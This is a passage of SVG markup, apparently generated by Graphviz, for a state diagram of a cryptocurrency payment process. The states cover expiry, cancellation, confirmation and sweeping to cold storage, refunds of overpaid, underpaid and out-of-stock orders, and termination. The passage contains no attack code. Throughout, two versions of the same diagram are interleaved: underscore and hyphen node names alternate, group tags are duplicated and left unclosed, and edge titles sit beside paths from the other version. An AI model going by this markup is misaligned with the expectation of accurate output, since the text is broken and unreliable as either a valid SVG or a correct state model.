<path fill="none" stroke="#333333" stroke-width="2" d="M1704.88,-311.99C1704.88,-311.99 1704.88,-318.83 1704.88,-318.83 1704.88,-322.25 1701.66,-326.83 1698.44,-328 1698.44,-328 1678.88,-335.08 1678.88,-335.08 1675.66,-336.24 1669.02,-337.41 1665.6,-337.41 1665.6,-337.41 1636.68,-337.41 1636.68,-337.41 1633.26,-337.41 1626.62,-336.24 1623.4,-335.08 1623.4,-335.08 1603.83,-328 1603.83,-328 1600.62,-326.83 1597.4,-322.25 1597.4,-318.83 1597.4,-318.83 1597.4,-311.99 1597.4,-311.99 1597.4,-308.57 1600.62,-303.98 1603.83,-302.82 1603.83,-302.82 1623.4,-295.73 1623.4,-295.73 1626.62,-294.57 1633.26,-293.41 1636.68,-293.41 1636.68,-293.41 1665.6,-293.41 1665.6,-293.41 1669.02,-293.41 1675.66,-294.57 1678.88,-295.73 1678.88,-295.73 1698.44,-302.82 1698.44,-302.82 1701.66,-303.98 1704.88,-308.57 1704.88,-311.99"/>
<text text-anchor="middle" x="1651.14" y="-311.13" font-family="Arial" font-size="12.00" fill="#333333">terminated</text>
</g>
<!-- expired&#45;&gt;terminated -->
<g id="edge17" class="edge">
<g id="edge18" class="edge">
<title>expired&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M512.25,-271.56C621.35,-270.34 1033.02,-267.52 1370.9,-288.91 1433.87,-292.9 1505.41,-300.95 1555.91,-307.23"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1555.34,-310.69 1565.7,-308.46 1556.22,-303.74 1555.34,-310.69"/>
<text text-anchor="middle" x="892.4" y="-276.84" font-family="Arial" font-size="10.00">✓ Terminal Failed (Expired)</text>
<path fill="none" stroke="black" stroke-width="1.5" d="M538.57,-270.09C647.95,-269.03 1060.66,-266.78 1399.4,-288.41 1462.37,-292.43 1533.91,-300.48 1584.41,-306.75"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1583.84,-310.2 1594.2,-307.98 1584.71,-303.26 1583.84,-310.2"/>
<text text-anchor="middle" x="932.9" y="-276.13" font-family="Arial" font-size="10.00">✓ Terminal Failed (Expired)</text>
</g>
<!-- cancelled&#45;&gt;terminated -->
<g id="edge34" class="edge">
<g id="edge35" class="edge">
<title>cancelled&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M788.97,-226.21C921.42,-219.89 1408.84,-200.92 1550.9,-255.91 1566.82,-262.07 1581.68,-273.42 1593.63,-284.59"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1590.98,-286.9 1600.56,-291.43 1595.9,-281.91 1590.98,-286.9"/>
<text text-anchor="middle" x="1060.9" y="-222.44" font-family="Arial" font-size="10.00">✓ Terminal Failed (Cancelled)</text>
<path fill="none" stroke="black" stroke-width="1.5" d="M819.12,-224.73C952.02,-218.6 1437.75,-200.47 1579.4,-255.41 1595.31,-261.58 1610.17,-272.92 1622.13,-284.1"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1619.48,-286.4 1629.05,-290.93 1624.39,-281.42 1619.48,-286.4"/>
<text text-anchor="middle" x="1098.4" y="-221.14" font-family="Arial" font-size="10.00">✓ Terminal Failed (Cancelled)</text>
</g>
<!-- confirmed&#45;&gt;terminated -->
<!-- confirmed&#45;complete -->
<g id="node9" class="node">
<title>confirmed&#45;complete</title>
<path fill="#d4edda" stroke="#155724" stroke-width="2" d="M1146.9,-642.41C1146.9,-642.41 1049.9,-642.41 1049.9,-642.41 1043.9,-642.41 1037.9,-636.41 1037.9,-630.41 1037.9,-630.41 1037.9,-618.41 1037.9,-618.41 1037.9,-612.41 1043.9,-606.41 1049.9,-606.41 1049.9,-606.41 1146.9,-606.41 1146.9,-606.41 1152.9,-606.41 1158.9,-612.41 1158.9,-618.41 1158.9,-618.41 1158.9,-630.41 1158.9,-630.41 1158.9,-636.41 1152.9,-642.41 1146.9,-642.41"/>
<text text-anchor="middle" x="1098.4" y="-620.13" font-family="Arial" font-size="12.00" fill="#155724">confirmed&#45;complete</text>
</g>
<!-- confirmed&#45;&gt;confirmed&#45;complete -->
<g id="edge11" class="edge">
<title>confirmed&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1095.96,-636.62C1182.86,-664.12 1415.45,-722.61 1550.9,-612.91 1591.51,-580.02 1611.52,-421.63 1618.58,-350.55"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1622.03,-351.29 1619.5,-341 1615.06,-350.62 1622.03,-351.29"/>
<text text-anchor="middle" x="1257.15" y="-680.24" font-family="Arial" font-size="10.00">✓ Terminal Success</text>
<title>confirmed&#45;&gt;confirmed&#45;complete</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M696.3,-582.94C766.86,-590.23 930.04,-607.1 1025.09,-616.93"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1024.62,-620.4 1034.93,-617.95 1025.34,-613.44 1024.62,-620.4"/>
<text text-anchor="middle" x="784.27" y="-598.68" font-family="Arial" font-size="10.00">Swept to cold storage</text>
</g>
<!-- confirmed_overpay_refunded -->
<g id="node12" class="node">
<title>confirmed_overpay_refunded</title>
<path fill="#fff3cd" stroke="#856404" stroke-width="2" d="M966.4,-549.91C966.4,-549.91 818.4,-549.91 818.4,-549.91 812.4,-549.91 806.4,-543.91 806.4,-537.91 806.4,-537.91 806.4,-525.91 806.4,-525.91 806.4,-519.91 812.4,-513.91 818.4,-513.91 818.4,-513.91 966.4,-513.91 966.4,-513.91 972.4,-513.91 978.4,-519.91 978.4,-525.91 978.4,-525.91 978.4,-537.91 978.4,-537.91 978.4,-543.91 972.4,-549.91 966.4,-549.91"/>
<text text-anchor="middle" x="892.4" y="-527.64" font-family="Arial" font-size="12.00" fill="#856404">confirmed_overpay_refunded</text>
</g>
<!-- confirmed_overpay&#45;&gt;confirmed_overpay_refunded -->
<!-- confirmed&#45;complete&#45;&gt;terminated -->
<g id="edge12" class="edge">
<title>confirmed_overpay&#45;&gt;confirmed_overpay_refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M686.71,-525.7C718.12,-526.65 757.61,-527.85 793.5,-528.94"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="793.15,-532.43 803.25,-529.24 793.36,-525.43 793.15,-532.43"/>
<text text-anchor="middle" x="754.52" y="-531.13" font-family="Arial" font-size="10.00">Initiate refund</text>
<title>confirmed&#45;complete&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1157.63,-643.31C1256.38,-671.4 1457.8,-710.94 1579.4,-612.41 1620,-579.51 1640.02,-421.12 1647.08,-350.05"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1650.53,-350.79 1648,-340.5 1643.56,-350.12 1650.53,-350.79"/>
<text text-anchor="middle" x="1290.15" y="-678.64" font-family="Arial" font-size="10.00">✓ Terminal Success</text>
</g>
<!-- underpaid_refunded_complete -->
<g id="node17" class="node">
<title>underpaid_refunded_complete</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M1334.9,-495.91C1334.9,-495.91 1179.4,-495.91 1179.4,-495.91 1173.4,-495.91 1167.4,-489.91 1167.4,-483.91 1167.4,-483.91 1167.4,-471.91 1167.4,-471.91 1167.4,-465.91 1173.4,-459.91 1179.4,-459.91 1179.4,-459.91 1334.9,-459.91 1334.9,-459.91 1340.9,-459.91 1346.9,-465.91 1346.9,-471.91 1346.9,-471.91 1346.9,-483.91 1346.9,-483.91 1346.9,-489.91 1340.9,-495.91 1334.9,-495.91"/>
<text text-anchor="middle" x="1257.15" y="-473.64" font-family="Arial" font-size="12.00" fill="#721c24">underpaid_refunded_complete</text>
</g>
<!-- underpaid_refunded&#45;&gt;underpaid_refunded_complete -->
<g id="edge22" class="edge">
<title>underpaid_refunded&#45;&gt;underpaid_refunded_complete</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M955.35,-464.64C1009.91,-467.05 1090.42,-470.6 1154.42,-473.42"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1154.17,-476.92 1164.31,-473.86 1154.48,-469.92 1154.17,-476.92"/>
<text text-anchor="middle" x="1060.9" y="-474.32" font-family="Arial" font-size="10.00">Refund confirmed</text>
</g>
<!-- underpaid_not_refunded -->
<g id="node18" class="node">
<title>underpaid_not_refunded</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M1318.78,-441.91C1318.78,-441.91 1195.53,-441.91 1195.53,-441.91 1189.53,-441.91 1183.53,-435.91 1183.53,-429.91 1183.53,-429.91 1183.53,-417.91 1183.53,-417.91 1183.53,-411.91 1189.53,-405.91 1195.53,-405.91 1195.53,-405.91 1318.78,-405.91 1318.78,-405.91 1324.78,-405.91 1330.78,-411.91 1330.78,-417.91 1330.78,-417.91 1330.78,-429.91 1330.78,-429.91 1330.78,-435.91 1324.78,-441.91 1318.78,-441.91"/>
<text text-anchor="middle" x="1257.15" y="-419.64" font-family="Arial" font-size="12.00" fill="#721c24">underpaid_not_refunded</text>
</g>
<!-- underpaid_refunded&#45;&gt;underpaid_not_refunded -->
<g id="edge23" class="edge">
<title>underpaid_refunded&#45;&gt;underpaid_not_refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M955.22,-455.28C968.78,-453.83 983.08,-452.32 996.4,-450.91 1054.53,-444.79 1119.98,-437.98 1170.64,-432.74"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1170.68,-436.25 1180.27,-431.74 1169.96,-429.29 1170.68,-436.25"/>
<text text-anchor="middle" x="1060.9" y="-453.41" font-family="Arial" font-size="10.00">No refund wallet configured</text>
</g>
<!-- out_of_stock_refunded_complete -->
<g id="node19" class="node">
<title>out_of_stock_refunded_complete</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M1341.65,-387.91C1341.65,-387.91 1172.65,-387.91 1172.65,-387.91 1166.65,-387.91 1160.65,-381.91 1160.65,-375.91 1160.65,-375.91 1160.65,-363.91 1160.65,-363.91 1160.65,-357.91 1166.65,-351.91 1172.65,-351.91 1172.65,-351.91 1341.65,-351.91 1341.65,-351.91 1347.65,-351.91 1353.65,-357.91 1353.65,-363.91 1353.65,-363.91 1353.65,-375.91 1353.65,-375.91 1353.65,-381.91 1347.65,-387.91 1341.65,-387.91"/>
<text text-anchor="middle" x="1257.15" y="-365.64" font-family="Arial" font-size="12.00" fill="#721c24">out_of_stock_refunded_complete</text>
</g>
<!-- out_of_stock_refunded&#45;&gt;out_of_stock_refunded_complete -->
<g id="edge26" class="edge">
<title>out_of_stock_refunded&#45;&gt;out_of_stock_refunded_complete</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M962.06,-369.91C1014.32,-369.91 1087.28,-369.91 1147.46,-369.91"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1147.43,-373.41 1157.43,-369.91 1147.43,-366.41 1147.43,-373.41"/>
<text text-anchor="middle" x="1060.9" y="-372.41" font-family="Arial" font-size="10.00">Refund confirmed</text>
</g>
<!-- out_of_stock_not_refunded -->
<g id="node20" class="node">
<title>out_of_stock_not_refunded</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M1325.53,-333.91C1325.53,-333.91 1188.78,-333.91 1188.78,-333.91 1182.78,-333.91 1176.78,-327.91 1176.78,-321.91 1176.78,-321.91 1176.78,-309.91 1176.78,-309.91 1176.78,-303.91 1182.78,-297.91 1188.78,-297.91 1188.78,-297.91 1325.53,-297.91 1325.53,-297.91 1331.53,-297.91 1337.53,-303.91 1337.53,-309.91 1337.53,-309.91 1337.53,-321.91 1337.53,-321.91 1337.53,-327.91 1331.53,-333.91 1325.53,-333.91"/>
<text text-anchor="middle" x="1257.15" y="-311.64" font-family="Arial" font-size="12.00" fill="#721c24">out_of_stock_not_refunded</text>
</g>
<!-- out_of_stock_refunded&#45;&gt;out_of_stock_not_refunded -->
<g id="edge27" class="edge">
<title>out_of_stock_refunded&#45;&gt;out_of_stock_not_refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M962.09,-359.15C973.54,-357.39 985.31,-355.58 996.4,-353.91 1051.98,-345.53 1114.29,-336.4 1163.95,-329.2"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1164.33,-332.68 1173.72,-327.78 1163.32,-325.75 1164.33,-332.68"/>
<text text-anchor="middle" x="1060.9" y="-356.41" font-family="Arial" font-size="10.00">No refund wallet configured</text>
</g>
<!-- confirmed_overpay_refunded_complete -->
<!-- confirmed&#45;overpay&#45;refunded -->
<g id="node13" class="node">
<title>confirmed_overpay_refunded_complete</title>
<path fill="#d4edda" stroke="#155724" stroke-width="2" d="M1358.9,-603.91C1358.9,-603.91 1155.4,-603.91 1155.4,-603.91 1149.4,-603.91 1143.4,-597.91 1143.4,-591.91 1143.4,-591.91 1143.4,-579.91 1143.4,-579.91 1143.4,-573.91 1149.4,-567.91 1155.4,-567.91 1155.4,-567.91 1358.9,-567.91 1358.9,-567.91 1364.9,-567.91 1370.9,-573.91 1370.9,-579.91 1370.9,-579.91 1370.9,-591.91 1370.9,-591.91 1370.9,-597.91 1364.9,-603.91 1358.9,-603.91"/>
<text text-anchor="middle" x="1257.15" y="-581.64" font-family="Arial" font-size="12.00" fill="#155724">confirmed_overpay_refunded_complete</text>
<title>confirmed&#45;overpay&#45;refunded</title>
<path fill="#fff3cd" stroke="#856404" stroke-width="2" d="M1003.9,-549.41C1003.9,-549.41 861.9,-549.41 861.9,-549.41 855.9,-549.41 849.9,-543.41 849.9,-537.41 849.9,-537.41 849.9,-525.41 849.9,-525.41 849.9,-519.41 855.9,-513.41 861.9,-513.41 861.9,-513.41 1003.9,-513.41 1003.9,-513.41 1009.9,-513.41 1015.9,-519.41 1015.9,-525.41 1015.9,-525.41 1015.9,-537.41 1015.9,-537.41 1015.9,-543.41 1009.9,-549.41 1003.9,-549.41"/>
<text text-anchor="middle" x="932.9" y="-527.13" font-family="Arial" font-size="12.00" fill="#856404">confirmed&#45;overpay&#45;refunded</text>
</g>
<!-- confirmed_overpay_refunded&#45;&gt;confirmed_overpay_refunded_complete -->
<!-- confirmed&#45;overpay&#45;&gt;confirmed&#45;overpay&#45;refunded -->
<g id="edge13" class="edge">
<title>confirmed_overpay_refunded&#45;&gt;confirmed_overpay_refunded_complete</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M979.38,-545.33C985.14,-546.21 990.85,-547.07 996.4,-547.91 1040.17,-554.51 1088.11,-561.57 1130.76,-567.8"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1130,-571.22 1140.4,-569.2 1131.01,-564.29 1130,-571.22"/>
<text text-anchor="middle" x="1060.9" y="-569.34" font-family="Arial" font-size="10.00">Refund confirmed</text>
<title>confirmed&#45;overpay&#45;&gt;confirmed&#45;overpay&#45;refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M719.36,-513.28C753.48,-516.19 797.68,-519.96 836.92,-523.31"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="836.4,-526.78 846.66,-524.14 836.99,-519.8 836.4,-526.78"/>
<text text-anchor="middle" x="784.27" y="-525.14" font-family="Arial" font-size="10.00">Initiate refund</text>
</g>
<!-- confirmed_overpay_not_refunded -->
<g id="node14" class="node">
<title>confirmed_overpay_not_refunded</title>
<path fill="#d4edda" stroke="#155724" stroke-width="2" d="M1342.78,-549.91C1342.78,-549.91 1171.53,-549.91 1171.53,-549.91 1165.53,-549.91 1159.53,-543.91 1159.53,-537.91 1159.53,-537.91 1159.53,-525.91 1159.53,-525.91 1159.53,-519.91 1165.53,-513.91 1171.53,-513.91 1171.53,-513.91 1342.78,-513.91 1342.78,-513.91 1348.78,-513.91 1354.78,-519.91 1354.78,-525.91 1354.78,-525.91 1354.78,-537.91 1354.78,-537.91 1354.78,-543.91 1348.78,-549.91 1342.78,-549.91"/>
<text text-anchor="middle" x="1257.15" y="-527.64" font-family="Arial" font-size="12.00" fill="#155724">confirmed_overpay_not_refunded</text>
<!-- underpaid&#45;refunded&#45;complete -->
<g id="node18" class="node">
<title>underpaid&#45;refunded&#45;complete</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M1364.9,-495.41C1364.9,-495.41 1215.4,-495.41 1215.4,-495.41 1209.4,-495.41 1203.4,-489.41 1203.4,-483.41 1203.4,-483.41 1203.4,-471.41 1203.4,-471.41 1203.4,-465.41 1209.4,-459.41 1215.4,-459.41 1215.4,-459.41 1364.9,-459.41 1364.9,-459.41 1370.9,-459.41 1376.9,-465.41 1376.9,-471.41 1376.9,-471.41 1376.9,-483.41 1376.9,-483.41 1376.9,-489.41 1370.9,-495.41 1364.9,-495.41"/>
<text text-anchor="middle" x="1290.15" y="-473.13" font-family="Arial" font-size="12.00" fill="#721c24">underpaid&#45;refunded&#45;complete</text>
</g>
<!-- confirmed_overpay_refunded&#45;&gt;confirmed_overpay_not_refunded -->
<g id="edge14" class="edge">
<title>confirmed_overpay_refunded&#45;&gt;confirmed_overpay_not_refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M979.37,-531.91C1029.43,-531.91 1093.04,-531.91 1146.65,-531.91"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1146.37,-535.41 1156.37,-531.91 1146.37,-528.41 1146.37,-535.41"/>
<text text-anchor="middle" x="1060.9" y="-534.41" font-family="Arial" font-size="10.00">No refund wallet configured</text>
<!-- underpaid&#45;refunded&#45;&gt;underpaid&#45;refunded&#45;complete -->
<g id="edge23" class="edge">
<title>underpaid&#45;refunded&#45;&gt;underpaid&#45;refunded&#45;complete</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M994.16,-439.99C1007.26,-441.81 1021.04,-443.7 1033.9,-445.41 1085.52,-452.26 1143.07,-459.5 1190.44,-465.37"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1189.96,-468.83 1200.32,-466.59 1190.82,-461.89 1189.96,-468.83"/>
<text text-anchor="middle" x="1098.4" y="-464.01" font-family="Arial" font-size="10.00">Refund confirmed</text>
</g>
<!-- confirmed_overpay_refunded_complete&#45;&gt;terminated -->
<g id="edge15" class="edge">
<title>confirmed_overpay_refunded_complete&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1371.67,-596.89C1431.41,-596.51 1502.17,-585.48 1550.9,-543.91 1607.9,-495.29 1619.67,-401.65 1621.67,-350.82"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1625.17,-350.93 1621.93,-340.84 1618.17,-350.74 1625.17,-350.93"/>
<text text-anchor="middle" x="1469.9" y="-599.71" font-family="Arial" font-size="10.00">✓ Terminal Success</text>
<!-- underpaid&#45;not&#45;refunded -->
<g id="node19" class="node">
<title>underpaid&#45;not&#45;refunded</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M1348.78,-441.41C1348.78,-441.41 1231.53,-441.41 1231.53,-441.41 1225.53,-441.41 1219.53,-435.41 1219.53,-429.41 1219.53,-429.41 1219.53,-417.41 1219.53,-417.41 1219.53,-411.41 1225.53,-405.41 1231.53,-405.41 1231.53,-405.41 1348.78,-405.41 1348.78,-405.41 1354.78,-405.41 1360.78,-411.41 1360.78,-417.41 1360.78,-417.41 1360.78,-429.41 1360.78,-429.41 1360.78,-435.41 1354.78,-441.41 1348.78,-441.41"/>
<text text-anchor="middle" x="1290.15" y="-419.13" font-family="Arial" font-size="12.00" fill="#721c24">underpaid&#45;not&#45;refunded</text>
</g>
<!-- confirmed_overpay_not_refunded&#45;&gt;terminated -->
<g id="edge16" class="edge">
<title>confirmed_overpay_not_refunded&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1355.63,-529.7C1428.73,-526.16 1521.11,-517.07 1550.9,-493.91 1595.53,-459.21 1612.08,-392.1 1618.16,-350.93"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1621.63,-351.42 1619.47,-341.05 1614.69,-350.5 1621.63,-351.42"/>
<text text-anchor="middle" x="1469.9" y="-530.7" font-family="Arial" font-size="10.00">✓ Terminal Success (Not Refunded)</text>
</g>
<!-- latepay_refunded_complete&#45;&gt;terminated -->
<g id="edge20" class="edge">
<title>latepay_refunded_complete&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1340.17,-62.84C1404.26,-55.89 1492.05,-57.64 1550.9,-104.16 1605.07,-146.98 1618.11,-232.76 1621.02,-280.97"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1617.52,-281.12 1621.49,-290.95 1624.52,-280.8 1617.52,-281.12"/>
<text text-anchor="middle" x="1469.9" y="-107.41" font-family="Arial" font-size="10.00">✓ Terminal Failed (Refund Complete)</text>
</g>
<!-- latepay_not_refunded&#45;&gt;terminated -->
<g id="edge21" class="edge">
<title>latepay_not_refunded&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1323.99,-8.14C1389.15,3.31 1488.02,8.88 1550.9,-43.16 1587.54,-73.49 1609.34,-215.13 1617.69,-281.47"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1614.18,-281.55 1618.87,-291.05 1621.13,-280.7 1614.18,-281.55"/>
<text text-anchor="middle" x="1469.9" y="-46.41" font-family="Arial" font-size="10.00">✓ Terminal Failed (Not Refunded)</text>
</g>
<!-- underpaid_refunded_complete&#45;&gt;terminated -->
<!-- underpaid&#45;refunded&#45;&gt;underpaid&#45;not&#45;refunded -->
<g id="edge24" class="edge">
<title>underpaid_refunded_complete&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1347.76,-482.36C1409.64,-481.19 1491.2,-470.82 1550.9,-430.91 1579.76,-411.62 1598.9,-376.17 1609.91,-349.7"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1613.03,-351.33 1613.44,-340.74 1606.52,-348.76 1613.03,-351.33"/>
<text text-anchor="middle" x="1469.9" y="-483.11" font-family="Arial" font-size="10.00">✓ Terminal Failed (Refund Complete)</text>
<title>underpaid&#45;refunded&#45;&gt;underpaid&#45;not&#45;refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M994.16,-430.05C1052.56,-428.73 1141.59,-426.73 1206.56,-425.27"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1206.62,-428.77 1216.54,-425.04 1206.47,-421.77 1206.62,-428.77"/>
<text text-anchor="middle" x="1098.4" y="-431.54" font-family="Arial" font-size="10.00">No refund wallet configured</text>
</g>
<!-- underpaid_not_refunded&#45;&gt;terminated -->
<g id="edge25" class="edge">
<title>underpaid_not_refunded&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1331.52,-421.3C1392.61,-416.79 1480.65,-404.74 1550.9,-372.91 1565.41,-366.34 1579.48,-356.08 1591.2,-346.07"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1593.23,-348.94 1598.37,-339.67 1588.57,-343.72 1593.23,-348.94"/>
<text text-anchor="middle" x="1469.9" y="-417.66" font-family="Arial" font-size="10.00">✓ Terminal Failed (Not Refunded)</text>
<!-- out&#45;of&#45;stock&#45;refunded&#45;complete -->
<g id="node20" class="node">
<title>out&#45;of&#45;stock&#45;refunded&#45;complete</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M1368.65,-387.41C1368.65,-387.41 1211.65,-387.41 1211.65,-387.41 1205.65,-387.41 1199.65,-381.41 1199.65,-375.41 1199.65,-375.41 1199.65,-363.41 1199.65,-363.41 1199.65,-357.41 1205.65,-351.41 1211.65,-351.41 1211.65,-351.41 1368.65,-351.41 1368.65,-351.41 1374.65,-351.41 1380.65,-357.41 1380.65,-363.41 1380.65,-363.41 1380.65,-375.41 1380.65,-375.41 1380.65,-381.41 1374.65,-387.41 1368.65,-387.41"/>
<text text-anchor="middle" x="1290.15" y="-365.13" font-family="Arial" font-size="12.00" fill="#721c24">out&#45;of&#45;stock&#45;refunded&#45;complete</text>
</g>
<!-- out_of_stock_refunded_complete&#45;&gt;terminated -->
<!-- out&#45;of&#45;stock&#45;refunded&#45;&gt;out&#45;of&#45;stock&#45;refunded&#45;complete -->
<g id="edge27" class="edge">
<title>out&#45;of&#45;stock&#45;refunded&#45;&gt;out&#45;of&#45;stock&#45;refunded&#45;complete</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M997.82,-369.41C1050.35,-369.41 1125.77,-369.41 1186.72,-369.41"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1186.43,-372.91 1196.43,-369.41 1186.43,-365.91 1186.43,-372.91"/>
<text text-anchor="middle" x="1098.4" y="-371.91" font-family="Arial" font-size="10.00">Refund confirmed</text>
</g>
<!-- out&#45;of&#45;stock&#45;not&#45;refunded -->
<g id="node21" class="node">
<title>out&#45;of&#45;stock&#45;not&#45;refunded</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M1352.53,-333.41C1352.53,-333.41 1227.78,-333.41 1227.78,-333.41 1221.78,-333.41 1215.78,-327.41 1215.78,-321.41 1215.78,-321.41 1215.78,-309.41 1215.78,-309.41 1215.78,-303.41 1221.78,-297.41 1227.78,-297.41 1227.78,-297.41 1352.53,-297.41 1352.53,-297.41 1358.53,-297.41 1364.53,-303.41 1364.53,-309.41 1364.53,-309.41 1364.53,-321.41 1364.53,-321.41 1364.53,-327.41 1358.53,-333.41 1352.53,-333.41"/>
<text text-anchor="middle" x="1290.15" y="-311.13" font-family="Arial" font-size="12.00" fill="#721c24">out&#45;of&#45;stock&#45;not&#45;refunded</text>
</g>
<!-- out&#45;of&#45;stock&#45;refunded&#45;&gt;out&#45;of&#45;stock&#45;not&#45;refunded -->
<g id="edge28" class="edge">
<title>out_of_stock_refunded_complete&#45;&gt;terminated</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1354.48,-360.44C1411.78,-354.13 1485.77,-344.82 1550.9,-332.91 1554.22,-332.3 1557.62,-331.64 1561.04,-330.93"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1561.45,-334.43 1570.48,-328.89 1559.96,-327.59 1561.45,-334.43"/>
<text text-anchor="middle" x="1469.9" y="-359.37" font-family="Arial" font-size="10.00">✓ Terminal Failed (Refund Complete)</text>
<title>out&#45;of&#45;stock&#45;refunded&#45;&gt;out&#45;of&#45;stock&#45;not&#45;refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M997.9,-359.06C1009.86,-357.16 1022.26,-355.2 1033.9,-353.41 1090.14,-344.72 1153.42,-335.3 1202.9,-328.01"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1203.21,-331.5 1212.6,-326.58 1202.19,-324.58 1203.21,-331.5"/>
<text text-anchor="middle" x="1098.4" y="-355.91" font-family="Arial" font-size="10.00">No refund wallet configured</text>
</g>
<!-- out_of_stock_not_refunded&#45;&gt;terminated -->
<!-- confirmed&#45;overpay&#45;refunded&#45;complete -->
<g id="node14" class="node">
<title>confirmed&#45;overpay&#45;refunded&#45;complete</title>
<path fill="#d4edda" stroke="#155724" stroke-width="2" d="M1387.4,-603.41C1387.4,-603.41 1192.9,-603.41 1192.9,-603.41 1186.9,-603.41 1180.9,-597.41 1180.9,-591.41 1180.9,-591.41 1180.9,-579.41 1180.9,-579.41 1180.9,-573.41 1186.9,-567.41 1192.9,-567.41 1192.9,-567.41 1387.4,-567.41 1387.4,-567.41 1393.4,-567.41 1399.4,-573.41 1399.4,-579.41 1399.4,-579.41 1399.4,-591.41 1399.4,-591.41 1399.4,-597.41 1393.4,-603.41 1387.4,-603.41"/>
<text text-anchor="middle" x="1290.15" y="-581.13" font-family="Arial" font-size="12.00" fill="#155724">confirmed&#45;overpay&#45;refunded&#45;complete</text>
</g>
<!-- confirmed&#45;overpay&#45;refunded&#45;&gt;confirmed&#45;overpay&#45;refunded&#45;complete -->
<g id="edge14" class="edge">
<title>confirmed&#45;overpay&#45;refunded&#45;&gt;confirmed&#45;overpay&#45;refunded&#45;complete</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1016.83,-544.75C1022.61,-545.65 1028.34,-546.55 1033.9,-547.41 1077.62,-554.16 1125.58,-561.35 1168.01,-567.65"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1167.47,-571.1 1177.87,-569.11 1168.49,-564.18 1167.47,-571.1"/>
<text text-anchor="middle" x="1098.4" y="-568.88" font-family="Arial" font-size="10.00">Refund confirmed</text>
</g>
<!-- confirmed&#45;overpay&#45;not&#45;refunded -->
<g id="node15" class="node">
<title>confirmed&#45;overpay&#45;not&#45;refunded</title>
<path fill="#d4edda" stroke="#155724" stroke-width="2" d="M1371.28,-549.41C1371.28,-549.41 1209.03,-549.41 1209.03,-549.41 1203.03,-549.41 1197.03,-543.41 1197.03,-537.41 1197.03,-537.41 1197.03,-525.41 1197.03,-525.41 1197.03,-519.41 1203.03,-513.41 1209.03,-513.41 1209.03,-513.41 1371.28,-513.41 1371.28,-513.41 1377.28,-513.41 1383.28,-519.41 1383.28,-525.41 1383.28,-525.41 1383.28,-537.41 1383.28,-537.41 1383.28,-543.41 1377.28,-549.41 1371.28,-549.41"/>
<text text-anchor="middle" x="1290.15" y="-527.13" font-family="Arial" font-size="12.00" fill="#155724">confirmed&#45;overpay&#45;not&#45;refunded</text>
</g>
<!-- confirmed&#45;overpay&#45;refunded&#45;&gt;confirmed&#45;overpay&#45;not&#45;refunded -->
<g id="edge15" class="edge">
<title>confirmed&#45;overpay&#45;refunded&#45;&gt;confirmed&#45;overpay&#45;not&#45;refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M1016.74,-531.41C1066.68,-531.41 1130.76,-531.41 1184.22,-531.41"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1183.88,-534.91 1193.88,-531.41 1183.88,-527.91 1183.88,-534.91"/>
